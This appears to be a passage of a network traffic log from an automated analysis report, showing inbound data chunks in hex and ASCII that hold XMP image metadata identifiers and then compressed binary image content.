2022-07-21 02:34:45 UTC	5593	IN	Data Raw: 66 32 35 2d 63 38 34 30 2d 62 61 31 66 2d 61 66 38 35 65 35 32 35 30 66 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 66 63 61 65 39 35 2d 37 36 30 35 2d 61 61 34 63 2d 61 65 35 63 2d 65 61 65 39 62 66 66 30 63 33 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 35 30 30 38 2d 37 39 30 37 2d 34 35 66 38 2d 39 32 63 38 2d 35 65 36 38 37 36 38 31 36 37 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 45 34 38 37 34 44 32 30 36 38 31 31 41 37 42 41 41 39 46 39 34 38 41 33 39 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 42 32 44 44 45 46 44 39 44 45 31 31 31 41 44 44 32 39 Data Ascii: f25-c840-ba1f-af85e5250f31</rdf:li> <rdf:li>xmp.did:84fcae95-7605-aa4c-ae5c-eae9bff0c39d</rdf:li> <rdf:li>xmp.did:85025008-7907-45f8-92c8-5e6876816709</rdf:li> <rdf:li>xmp.did:8502E4874D206811A7BAA9F948A39F42</rdf:li> <rdf:li>xmp.did:850B2DDEFD9DE111ADD29
2022-07-21 02:34:45 UTC	5609	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 33 34 41 33 35 32 44 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 38 36 45 43 38 35 32 30 36 45 37 31 31 41 37 41 46 45 32 37 42 45 37 34 31 38 38 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 33 32 35 32 37 30 39 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 Data Ascii: :li> <rdf:li>xmp.did:92134A352D2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:92186EC85206E711A7AFE27BE74188FE</rdf:li> <rdf:li>xmp.did:9221EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>xmp.did:92232527092068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:92
2022-07-21 02:34:45 UTC	5616	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 34 35 35 41 38 37 31 34 32 30 36 38 31 31 39 37 41 35 38 34 46 38 33 39 32 37 42 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 31 34 45 30 35 44 36 31 45 35 31 31 38 37 45 36 42 37 32 31 43 44 33 35 32 43 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 35 43 32 33 38 38 32 46 45 34 31 31 38 37 44 41 46 38 37 30 45 39 30 42 45 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 38 36 30 32 33 62 2d 39 61 62 65 2d 34 30 31 61 2d 62 32 63 34 2d 30 65 65 39 34 36 63 65 61 65 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:99455A871420681197A584F83927B384</rdf:li> <rdf:li>xmp.did:997314E05D61E51187E6B721CD352C7A</rdf:li> <rdf:li>xmp.did:99735C23882FE41187DAF870E90BEFD2</rdf:li> <rdf:li>xmp.did:9986023b-9abe-401a-b2c4-0ee946ceae42</rdf:li> <rdf:li>xm
2022-07-21 02:34:45 UTC	5632	IN	Data Raw: 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 33 38 30 30 32 41 34 35 44 45 33 31 31 38 31 45 36 45 42 46 38 33 38 32 41 38 41 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 36 39 31 36 36 33 45 32 30 36 38 31 31 42 41 41 43 39 46 38 38 39 42 35 38 43 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 34 46 37 45 34 43 43 32 31 36 38 31 31 38 32 32 41 46 41 39 46 46 36 39 34 33 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 37 45 30 43 42 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a Data Ascii: 1A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:ACB38002A45DE31181E6EBF8382A8AFE</rdf:li> <rdf:li>xmp.did:ACB691663E206811BAAC9F889B58CD3E</rdf:li> <rdf:li>xmp.did:AD04F7E4CC216811822AFA9FF6943483</rdf:li> <rdf:li>xmp.did:AD07E0CBFD9DE111ADD29B684E45E581</rdf:
2022-07-21 02:34:45 UTC	5648	IN	Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 35 38 41 39 39 33 30 41 30 38 31 31 45 35 38 41 45 45 44 31 36 39 33 36 32 45 33 32 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 36 36 41 39 39 41 41 32 32 39 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 37 36 31 30 33 33 31 36 32 30 36 38 31 31 42 36 39 39 41 31 38 45 37 30 33 34 41 44 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 38 32 41 35 38 45 33 44 41 43 45 34 31 31 38 36 34 45 46 43 34 44 32 45 38 41 37 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 39 32 42 41 38 44 Data Ascii: rdf:li>xmp.did:C658A9930A0811E58AEED169362E32DF</rdf:li> <rdf:li>xmp.did:C666A99AA2296811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:C676103316206811B699A18E7034AD98</rdf:li> <rdf:li>xmp.did:C682A58E3DACE411864EFC4D2E8A7785</rdf:li> <rdf:li>xmp.did:C692BA8D
2022-07-21 02:34:45 UTC	5656	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 44 31 33 41 41 45 35 46 43 46 37 30 45 37 31 31 42 36 35 31 45 35 46 46 36 34 45 45 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 34 33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 38 46 36 37 38 43 44 45 38 45 30 31 31 38 45 30 45 46 44 39 45 46 41 39 31 35 44 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 36 38 36 31 39 45 32 32 36 31 31 31 36 38 42 36 32 38 41 31 39 44 43 46 39 45 46 46 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 38 35 44 46 42 41 37 38 32 30 36 38 Data Ascii: >xmp.did:D13AAE5FCF70E711B651E5FF64EE3282</rdf:li> <rdf:li>xmp.did:D15434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:D158F678CDE8E0118E0EFD9EFA915D83</rdf:li> <rdf:li>xmp.did:D168619E22611168B628A19DCF9EFFD4</rdf:li> <rdf:li>xmp.did:D185DFBA782068
2022-07-21 02:34:45 UTC	5672	IN	Data Raw: 64 3a 45 36 34 36 30 32 33 37 46 46 45 34 45 30 31 31 42 37 34 33 39 42 36 38 41 30 31 31 33 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 34 41 43 38 44 37 30 44 45 31 44 45 31 31 39 33 43 37 38 41 33 37 37 46 33 30 38 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 35 44 32 42 41 46 39 37 32 30 36 38 31 31 38 46 36 32 38 34 35 32 38 35 44 33 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 36 46 39 46 32 46 35 33 32 45 31 31 31 39 35 39 35 41 31 44 44 35 31 36 42 30 42 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 38 37 39 31 37 31 31 32 30 36 38 31 31 38 32 32 41 45 Data Ascii: d:E6460237FFE4E011B7439B68A01138EA</rdf:li> <rdf:li>xmp.did:E64AC8D70DE1DE1193C78A377F30813B</rdf:li> <rdf:li>xmp.did:E65D2BAF972068118F62845285D33C56</rdf:li> <rdf:li>xmp.did:E666F9F2F532E1119595A1DD516B0B08</rdf:li> <rdf:li>xmp.did:E668791711206811822AE
2022-07-21 02:34:45 UTC	5688	IN	Data Raw: 37 35 30 35 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 46 38 41 34 34 33 32 34 41 45 33 39 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 41 34 38 30 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 44 45 35 39 33 45 35 32 30 38 41 42 30 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: 7505E2</rdf:li> <rdf:li>xmp.did:F77F117407206811A9F8A44324AE3979</rdf:li> <rdf:li>xmp.did:F77F117407206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:F77F117407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>xmp.did:F77F117407206811ADE593E5208AB01B</rdf:li> <rdf:li
2022-07-21 02:34:45 UTC	5692	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 46 43 34 30 32 33 34 31 36 32 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 39 30 35 43 44 42 31 31 35 43 44 41 44 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 37 32 43 39 41 37 46 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 32 46 31 43 41 44 41 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 Data Ascii: li> <rdf:li>xmp.did:F97F11740720681188C6FC4023416217</rdf:li> <rdf:li>xmp.did:F97F1174072068118905CDB115CDADF5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6D8372C9A7F6EA</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6DB22F1CADA7F5</rdf:li> <rdf:li>xmp.did:F97
2022-07-21 02:34:45 UTC	5708	IN	Data Raw: 31 61 36 65 63 66 2d 35 64 63 63 2d 62 34 34 39 2d 38 34 35 39 2d 37 39 37 38 61 65 61 61 33 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 62 35 62 64 65 39 2d 36 33 62 65 2d 34 36 65 38 2d 61 39 34 64 2d 63 63 65 31 64 32 66 35 32 32 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 63 34 36 37 35 32 2d 61 37 31 34 2d 39 38 34 35 2d 61 34 30 38 2d 32 32 65 63 35 34 39 38 38 62 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 64 66 62 32 34 31 2d 32 34 37 66 2d 34 32 31 33 2d 61 63 30 37 2d 30 65 36 61 36 30 32 34 38 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 31 34 62 66 36 63 2d Data Ascii: 1a6ecf-5dcc-b449-8459-7978aeaa3dec</rdf:li> <rdf:li>xmp.did:adb5bde9-63be-46e8-a94d-cce1d2f5222b</rdf:li> <rdf:li>xmp.did:adc46752-a714-9845-a408-22ec54988bbe</rdf:li> <rdf:li>xmp.did:addfb241-247f-4213-ac07-0e6a60248332</rdf:li> <rdf:li>xmp.did:ae14bf6c-
2022-07-21 02:34:45 UTC	5724	IN	Data Raw: 66 36 30 61 31 30 61 2d 63 36 33 34 2d 34 35 66 34 2d 62 36 33 39 2d 34 33 33 35 66 65 38 39 61 31 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 35 31 38 32 37 2d 66 31 30 31 2d 34 33 31 32 2d 39 64 35 30 2d 36 62 34 63 34 65 36 64 37 36 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 38 63 32 33 61 35 2d 39 33 32 37 2d 34 65 33 37 2d 38 35 39 65 2d 30 33 33 35 32 32 63 31 32 64 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 61 61 38 35 64 64 2d 65 39 66 33 2d 39 38 34 32 2d 62 36 37 61 2d 64 37 34 65 31 38 30 64 65 62 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 65 64 66 63 38 30 Data Ascii: f60a10a-c634-45f4-b639-4335fe89a1a8</rdf:li> <rdf:li>xmp.did:df851827-f101-4312-9d50-6b4c4e6d76ed</rdf:li> <rdf:li>xmp.did:df8c23a5-9327-4e37-859e-033522c12d34</rdf:li> <rdf:li>xmp.did:dfaa85dd-e9f3-9842-b67a-d74e180deb41</rdf:li> <rdf:li>xmp.did:dfedfc80
2022-07-21 02:34:45 UTC	5732	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 63 65 35 39 39 2d 31 33 66 34 2d 34 35 38 65 2d 62 37 66 37 2d 63 30 34 35 30 34 66 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 63 34 61 61 62 64 2d 31 39 35 61 2d 66 61 34 39 2d 62 37 34 32 2d 63 30 38 64 33 31 38 37 34 66 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 31 63 64 36 65 30 2d 38 34 37 35 2d 34 38 31 36 2d 39 35 36 63 2d 39 30 33 61 31 32 62 39 34 65 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 32 35 65 39 38 66 2d 39 30 64 32 2d 34 37 64 30 2d 39 36 66 36 2d 36 62 34 62 63 66 63 65 61 65 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:f61ce599-13f4-458e-b7f7-c04504fd1c4d</rdf:li> <rdf:li>xmp.did:f6c4aabd-195a-fa49-b742-c08d31874f7b</rdf:li> <rdf:li>xmp.did:f71cd6e0-8475-4816-956c-903a12b94e70</rdf:li> <rdf:li>xmp.did:f725e98f-90d2-47d0-96f6-6b4bcfceaeeb</rdf:li>
2022-07-21 02:34:45 UTC	5748	IN	Data Raw: 94 ef 4a b6 fb ee ed 43 f7 0b 6e 9a e8 79 7a 6b bb bb c9 49 50 c4 f8 7c a1 b2 ca a7 83 f2 c6 66 40 f8 cc 10 e9 12 0d 4a f2 11 19 24 7d d2 fe dd 2f 8e 43 1e 49 9f 98 ab 4b a8 ed 6b ea db e7 78 eb 45 cd 79 fe 37 06 14 92 79 24 1a 40 30 81 a5 57 66 eb 7e 27 d7 a4 90 65 4f 9b 21 44 d1 14 3e 7e f5 c5 56 89 e5 60 cd 20 dd b6 21 be 1c 8a 9f c4 ff 00 c7 5c 48 d2 c3 16 a6 b1 f3 18 a7 8c 26 31 44 23 cd ea f4 28 a9 02 c9 8c 15 88 24 8b 13 61 6b f6 bc 54 8f 27 e5 b7 0a 5f 1d c3 b7 48 5e 8d 9e 9d 0f 85 cd 1b 04 1c 59 50 dd 4f 45 fa 29 7d 05 71 78 9b 2c 4e 58 f3 d4 96 65 db 4e 31 7e 13 22 21 1a 4a 63 92 36 6d 41 85 91 bc 3f 0d 1e af b7 50 cd e4 f9 2c 1a 48 d4 32 a8 db 62 36 df c1 f7 b4 bf 33 07 e2 2c d8 e4 32 37 48 1d 54 e3 1b 05 a0 4e 24 d2 17 d7 6b 0d bb 8a 3f 7e b9 Data Ascii: JCnyzkIP\|f@J$}/CIKkxEy7y$@0Wf~'eO!D>~V` !\H&1D#($akT'_H^YPOE)}qx,NXeN1~"!Jc6mA?P,H2b63,27HTN$k?~
2022-07-21 02:34:45 UTC	5764	IN	Data Raw: 8b 72 5f 15 3c 67 58 79 b4 62 36 06 2e 84 0b d8 4b fb 44 ed fd 7d ca 56 af 8f 0c 92 26 54 48 64 6d e7 79 17 62 dc 6e 24 7d fd 72 7d ed 01 fe d1 06 50 33 c2 0c 0e 2c 57 41 23 67 8a aa f7 1f 86 39 76 91 cb 47 11 8f 04 79 b1 c6 4a 5c 7d c0 24 a1 72 f7 da b2 26 fc 7c ff 00 65 ff 00 15 3b e6 e1 23 cf 80 cd 33 59 a4 75 21 2f ab 68 fb c4 fa 94 c2 1c 49 a5 9a f8 aa 60 c5 55 d8 c4 db 59 fe 0f b6 df 7f 7f 33 d6 7f 2b 95 cb 83 8a b9 98 d9 25 8c 2e 18 2c 8b ac dd 8e 8d 7c 4f c3 a6 99 cd cf d2 2d 03 85 34 4d 62 59 06 99 19 4f 71 23 9b 76 b2 5a 3e a6 09 13 21 3b d0 ef e6 9b df c3 fb cd fa b8 4e 7a 80 ac ae bc b5 a0 8a ed 86 0c 8e 00 2b d2 07 7b c5 58 ce 71 cb 25 e4 f7 9f 1e f2 63 cb ab 65 bb 02 de d6 b4 1c a7 e6 38 25 42 d9 61 f1 d5 36 28 91 4a af 83 da 76 29 a3 65 c1 Data Ascii: r_<gXyb6.KD}V&THdmybn$}r}P3,WA#g9vGyJ\}$r&\|e;#3Yu!/hI`UY3+%.,\|O-4MbYOq#vZ>!;Nz+{Xq%ce8%Ba6(Jv)e
2022-07-21 02:34:45 UTC	5771	IN	Data Raw: a9 3b df 8b 5a b9 79 96 36 1e 3c 7f 14 db e1 14 b0 17 3b 48 ed ad 65 cb 2b 88 23 c7 27 69 0b e5 c6 ae f8 b6 e7 05 4b 69 7b ed a5 19 d8 32 73 36 55 9e 65 8e 04 b0 0a 06 95 2d ef 1a b4 1c bb 94 62 e0 a8 e1 28 2d e3 20 16 fb 54 2a cb 14 a5 66 93 62 01 75 51 b4 dc f7 a4 af 64 73 74 82 26 6c 78 d9 82 82 4d 86 c1 f8 95 46 46 96 45 11 ad d5 47 2f 0a 50 a3 63 b3 c7 e9 d4 be 60 e6 e7 02 35 8a 01 af 26 63 a6 34 e9 d5 f7 9a ff 00 0f 4d 2e e5 bf 2f 62 38 67 69 35 39 70 cf a4 69 2c eb ad b8 70 ff 00 f9 34 4f 52 e4 6c 39 e6 73 f3 56 52 22 8d 78 51 5f bd f7 f2 d4 be 62 e6 83 00 31 83 66 44 82 c8 d6 ec 27 bd 97 f7 29 91 06 89 84 09 f1 76 ca 7d 7f 2f f7 34 cc ca 8b 8f 1a 41 f3 6c d8 8d 22 e2 63 20 66 88 ef 48 4d da ff 00 72 bf f5 3c fa cd c2 00 26 c0 85 14 6a 47 d2 c6 aa Data Ascii: ;Zy6<;He+#'iKi{2s6Ue-b(- T*fbuQdst&lxMFFEG/Pc`5&c4M./b8gi59pi,p4ORl9sVR"xQ_b1fD')v}/4Al"c fHMr<&jG
2022-07-21 02:34:45 UTC	5787	IN	Data Raw: 19 78 96 58 63 77 98 b9 2e bb b1 ad b5 3f 09 25 5f d3 d1 ef 2a fc 0f 97 82 24 07 18 93 a9 b5 b8 71 ad 55 08 ec 32 b5 3b e5 7c 9a 2e 51 19 82 1b bc 44 ea 02 4d ed 2d e6 35 1f 1c fc 59 1a 35 42 15 7a 58 f6 49 f0 d6 4c ff 00 89 12 a1 23 b9 c4 b3 cb 3b f1 cb 9f bb c7 f8 7f bb a7 2a d8 92 49 3e af 2a d6 3f 98 72 bc de 57 91 26 7f 2c 08 a8 2e 5c 03 b1 c7 ff 00 c3 d1 18 99 7f fe 32 29 79 49 59 23 b5 b1 c1 d3 a5 bf fc 2d be f3 cc fb ba d3 65 f0 b3 1b 44 ac a9 b3 ab 60 20 6f 37 a7 5f 3e e7 39 f0 e3 65 99 b1 f5 45 97 13 e9 24 f6 19 74 f1 15 f7 77 fd 66 e2 76 29 f1 03 dd 31 44 1d 46 51 ee fb 8c 3a 2d ee d7 ed 3f af 50 da 1c f6 37 a3 cd f9 7d e5 6b b3 b9 54 d9 b0 3e 26 4b 2b 2b a5 b5 7b cd 43 b1 2f 75 37 2b 2c df 25 e4 40 e5 64 95 59 41 b0 d0 a5 9a f6 ec b2 3e 9d 14 Data Ascii: xXcw.?%_$qU2;\|.QDM-5Y5BzXIL#;I>*?rW&,.\2)yIY#-eD` o7_>9eE$twfv)1DFQ:-?P7}kT>&K++{C/u7+,%@dYA>
2022-07-21 02:34:45 UTC	5803	IN	Data Raw: e5 cb 94 69 12 45 24 40 87 4b 6e 92 db ba 51 bd fd 67 fe 55 e7 3c c0 3b e3 26 93 1b dd 81 b6 a5 5b f9 f4 cf 9e f3 89 70 a3 00 b6 a9 18 10 a3 b2 bb 3b fb 95 0f 14 11 c6 91 20 7f e7 46 d7 53 b8 f1 b7 1f d4 a7 87 3a 82 b9 0e 56 e4 ae 73 ec 59 f3 62 0b 1b 32 15 37 f2 7e ad 0f 8b 9d 2c 11 88 e6 53 29 17 b1 04 86 1e 9c c9 4a 79 5f 34 cc 92 46 85 8b 18 c8 b0 1d 6c c6 b4 58 38 bc 6c 36 8c 36 86 27 6b 75 f9 d4 a2 5b b5 01 5b 06 00 e9 bb 9f c4 a4 84 49 1b 31 78 df 87 35 e6 a1 bf dd 72 22 42 cc a2 ca 2e c5 81 35 1c 3e 6a 72 84 8e d2 f0 d1 56 e7 4a 8e 8f d8 a3 39 97 2e d6 8b 8d 8c d7 2f 6b 8e d3 30 5e d4 f3 3f 83 fe a5 2c 4f 97 84 61 e3 89 a4 75 ef 86 21 45 fd 05 a0 51 13 26 47 70 9d 9b b4 f2 96 b1 14 a3 98 f3 95 cc 60 78 0a e5 01 54 69 b7 8a a9 fc 24 f5 74 af 99 e5 Data Ascii: iE$@KnQgU<;&[p; FS:VsYb27~,S)Jy_4FlX8l66'ku[[I1x5r"B.5>jrVJ9./k0^?,Oau!EQ&Gp`xTi$t
2022-07-21 02:34:45 UTC	5811	IN	Data Raw: cb cd 78 27 98 93 00 29 24 70 8d f7 7f c6 9f b8 9f c2 a6 b9 39 dc d7 26 56 5c 5d 38 f1 9b 02 53 d6 4a 4d bd d7 71 2b 3c c6 af ff 00 c8 93 a7 1c 8e d1 ac fb dd 1f 99 0a 7f 0e ba 27 e9 8c 51 76 46 24 5e 75 cb db ab 23 e5 cf c8 e6 03 8b 31 c2 2d a4 28 3a f8 24 7d e6 ec 8f f0 bf e8 fb ca 6d 99 39 48 f8 f8 e4 33 b0 0a 9d 6a 49 3d b6 d1 da 44 a5 bc bf 4f 2f 9c 62 34 cc d2 3b 71 08 63 ab a4 7a cd fa 4b cd e1 8b 13 98 36 56 06 42 00 56 ef 12 91 a4 38 3b e8 ad ec 78 8f db ac f9 7b 37 97 b8 70 7d df 48 34 aa d2 0e 9a cb 1e 5e ed 3f 89 fe a5 37 30 46 98 06 f2 65 8d 6b 39 5f 2b ca 89 df 26 79 4c a2 4b 12 87 c4 3e e9 3d da 7e 1d 47 9a e5 63 73 05 38 f9 49 65 43 70 a7 77 7d 7d 06 a5 1c af e6 e5 8f 54 d3 5b b3 6b 28 d4 c3 d3 c7 6f fc 94 ff 00 0e b3 b9 fc fb 0f 2b 29 f2 Data Ascii: x')$p9&V\]8SJMq+<'QvF$^u#1-(:$}m9H3jI=DO/b4;qczK6VBV8;x{7p}H4^?70Fek9_+&yLK>=~Gcs8IeCpw}}T[k(o+)
2022-07-21 02:34:45 UTC	5827	IN	Data Raw: 23 24 2d 89 07 64 e8 3b bf 53 b9 e0 a6 0e 4f 30 c6 57 84 1b be 93 66 d8 6d 7f 58 8f 49 65 63 64 07 75 b1 b9 6f 3d 12 d9 b5 ac f7 39 13 e6 ac b0 66 0d f7 04 c1 1a 6d ec f7 99 eb 0f 3e 3b 07 31 4b ba c8 48 23 e9 15 f5 89 96 08 89 9e 62 11 94 69 2d f4 1e ed 62 7e 65 e4 f3 c3 27 fb 9b 8b 24 b6 00 1e d5 87 62 49 13 cf ad 6f c3 e7 b1 29 6e 98 b6 ef f1 7d 4a b1 a3 2f a2 de 15 93 25 4c 9a 7a 85 72 57 51 26 a3 b0 9f 25 13 2c 44 35 91 47 d2 6a 89 a2 5b 5f ae b7 15 94 81 55 8a d3 af 97 b9 84 7c 41 8f 30 d5 00 60 74 9d ba db fb b5 a7 f9 dd f1 a3 e5 4e 80 ea 25 82 a7 9b de fa 9b 95 f3 de 5f 33 45 62 a4 ad 8e c3 d7 f5 6b 51 9c d8 fc cf 92 18 f5 33 64 e3 7a cd a7 53 3a df 44 ae df 87 bf 59 f3 c0 17 b8 8d c6 56 ea ad ca fe 5f 4e 97 13 ba c8 06 5b ad a2 2f 96 4f fc 95 2f Data Ascii: #$-d;SO0WfmXIecduo=9fm>;1KH#bi-b~e'$bIo)n}J/%LzrWQ&%,D5Gj[_U\|A0`tN%_3EbkQ3dzS:DYV_N[/O/
